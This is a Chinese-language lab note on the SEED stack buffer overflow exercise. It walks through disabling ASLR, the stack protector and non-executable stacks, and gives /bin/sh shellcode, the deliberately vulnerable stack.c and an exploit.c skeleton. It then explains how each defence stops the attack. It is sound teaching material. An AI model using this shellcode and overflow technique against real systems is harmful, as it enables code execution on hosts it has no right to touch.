SEED缓冲区溢出实验笔记
SEED缓冲区溢出实验笔记
缓冲区溢出实验（Linux 32位）
参考教程与材料：http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
（本文记录了做SEED缓冲区溢出实验的体会与问题，侧重实践，而不是讲解缓冲区溢出原理的详细教程）
1. 准备工作
使用SEED ubuntu虚拟机进行缓冲区溢出实验，首先要关闭一些针对此攻击的防御机制来简化实验。
（1）内存地址随机化（Address Space Randomization）：基于Linux的操作系统一般使堆和栈的开始地址随机化，使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。
$ su root Password: (enter root password) #sysctl -w kernel.randomize_va_space=0
（2）The StackGuard Protection Scheme：GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。
（3）Non-Executable Stack：Ubuntu曾经允许栈执行，但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行，所以需要在编译时加入-z execstack参数来允许栈执行。
2. ShellCode
教程提供了shellcode，是如下代码反汇编得到的机器码，功能就是打开一个shell，通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其，但是并不影响shellcode的执行，该验证程序是将buf强制转换成了函数指针来执行，用法巧妙。其中shellcode还有一些需要解释的地方，如“//sh”是为了凑足4字节，并且“/”与“//”是一样的；为了给execve传递参数，需要字符串的地址，这里采用了push并传递esp的方法；cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数，指令如下所示：gcc -z execstack -o call_shellcode call_shellcode.c
#include <stdio.h>
int main( ) {
char*
name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
} 3.漏洞程序stack.c
程序很简单，从文件中读入内容至str，传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制，加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}4.实验内容
GDB的使用参考：
http://blog.csdn.net/liigo/article/details/582231
http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html
（1）攻击漏洞程序执行shellcode
使用gdb进入bof()之后，使用i frame可以查看当前程序栈的信息，如下所示。从中可以直接看出ebp和eip的保存位置，其中eip的返回位置即要精心覆盖的返回地址，将其指向我们构造的shellcode即可。
查看栈的内存与变量的位置，图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决，就是0xbffff010与0xbffff014这8个内存的作用不明。
执行memcpy后，可以看出内存变为如下图所示。
即从0xbfffeff8开始存入了shellcode，开始时考虑采用NSR模式，但是由于漏洞程序的缓冲区很小，刚好可以放下shellcode，所以直接使用了SR模式，其中返回地址R是0xbfffeff8。另外需要注意，拷贝shellcode时不要把字符串结尾的’\x00’也复制过去，否则漏洞程序会认为字符串就此截止，而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存，发现shellcode会压栈一些内容，压入ebx时恰好会把shellcode最后的语句（位置0xbffffffc）覆盖！故考虑使用RNS模式，实验表明使用RNS模式更加简单，容错率也高。
修改exploit.c如下所示，成功！
（2）启动内存地址随机化
首先打开Linux的内存地址随机化功能，sysctl -w kernel.randomize_va_space=2，再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化，需要进入gdb后首先输入set disable-randomization off来开启地址随机化，接下来进行调试。每次运行时会发现栈的地址随机变化，从而使得攻击者无法确定shellcode的地址。
（3）Stack Guard
首先关闭内存地址随机化以防止干扰，然后重新编译stack.c，此时不加入-fno-stack-protector参数即开启了该防护措施（新版本gcc）。再次执行stack会出现错误，从汇编可以看出，该机制是检测ebp-0xc这个位置存放的4字节是否被改变，该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序，发现该检测值会发生改变，可见是随机生成的，难以预测。
（4）栈不可执行
使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c，调试运行会发现只要执行栈上的指令，进程会收到系统信号SIGSEGV，段错误。可以使用Return-to-Libc来绕过该防御机制。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}高级缓冲区溢出技术可以参考：http://drops.wooyun.org/tips/6597